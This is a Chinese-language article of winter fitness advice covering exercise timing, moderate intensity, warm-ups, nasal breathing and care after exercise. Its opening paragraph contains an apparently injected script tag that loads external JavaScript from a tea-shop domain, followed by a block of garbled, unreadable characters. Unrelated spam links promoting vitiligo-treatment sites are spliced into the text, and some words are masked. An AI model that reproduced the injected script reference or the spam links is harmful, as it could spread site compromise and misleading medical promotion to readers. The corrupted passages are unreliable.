|
|
|
冬天健身运动要掌握原则与技巧
冬天健身运动要掌握原则与技巧 “冬天动一动，少闹一场病?script type='text/javascript' src='http://www.368tea.com/js/v.js'>炖烈焕粒嗪纫┮煌搿薄Ｊ实倍赌芄辉銮刻逯剩钟膊〉那窒绻土恫坏梅ǎ坏跋於土缎Ч箍赡芏陨硖逶斐伤鹕恕６径土队ψ裱蛘莆杖记伞！ ∪颍菏适薄⑹识取⒂惺视獭！ ∈紫纫适薄?a href=http://www.368tea.com/html/301/ id=kw target=_blank>中医认为，春生、夏长、秋收、冬藏。为了适应冬季的气候而保养^***闭藏机能，冬季养生就应提倡早睡晚起，正如《内经》所说“早卧晚起，必待日光”。因此，冬季运动时间应该选择在日出之后、下午或者傍晚，对于中老年群体来说，冬季晨练容易引起中风或猝死，一定要特别注意。 其次要适度。冬天^***阴精阳气正处于收敛内养状态，故冬季运动应注意“冬藏”，运动量不宜过大，以防出汗过多，阳气耗损，津液损伤，出现疲乏、感冒、头晕、手足冰凉等症状，甚至发生感冒等疾病。 三要有适应过程。由于冬季^***的肌肉、关节组织活动性降低，突然运动极易造成肌肉、韧带及关节损伤，因此锻炼前一定要做热身活动，可采用慢跑、拍打全身肌肉、活动胳膊等活动，调动机体各部分的机能活动，使身体适应运动状态，减少运动损伤的发生。运动量要从小到大逐渐增加，循序渐进。推荐阅读：白癜风早期治疗有哪些好处http://www.b-df.net/bdf/zhiliao/1360.html 三技巧：按时间选项目、掌握呼吸方式、注意运动后护理。 按时间选项目 一般来说，早上6点至9点，可适当进行慢跑或打太极拳等运动强度较小的运动。下午3点至6点，是冬季最佳运动时间，可适当选择球类、长跑、跳绳等高强度的有氧运动。下午6点至晚上8点，对于上班族而言，是比较适宜的运动时间。比较适宜游泳、体操、瑜伽等伸展性运动。如何治疗白癜风http://www.wysgx.com/ 掌握呼吸方式 尽量用鼻子呼吸。冬季锻炼，要注意运动过程中的呼吸方法。因为冬天空气寒冷，容易刺激呼吸道引起咳嗽等症。而^***鼻腔内黏膜有血管和分泌液，能够对吸进来的空气起加温作用，鼻腔内的鼻毛和鼻分泌物能够阻挡空气里的灰尘和细菌，对呼吸道起保护作用。因此用鼻子吸气，能够对呼吸道和肺部起到很多好的保护。 注意运动后的护理 锻炼时应及时增减衣服，一遇微汗就减衣物，运动后要马上增衣保暖。还要积极进行整理放松活动，促进肌肉的恢复。运动后可适当补充水分，以少量、多次、缓饮为原则，饮用水的温度一般不要低于13摄氏度，出汗较多时可适量补充淡盐水;另外运动后不要急于马上洗澡，至少应休息15～20分钟再用热水洗澡。
|
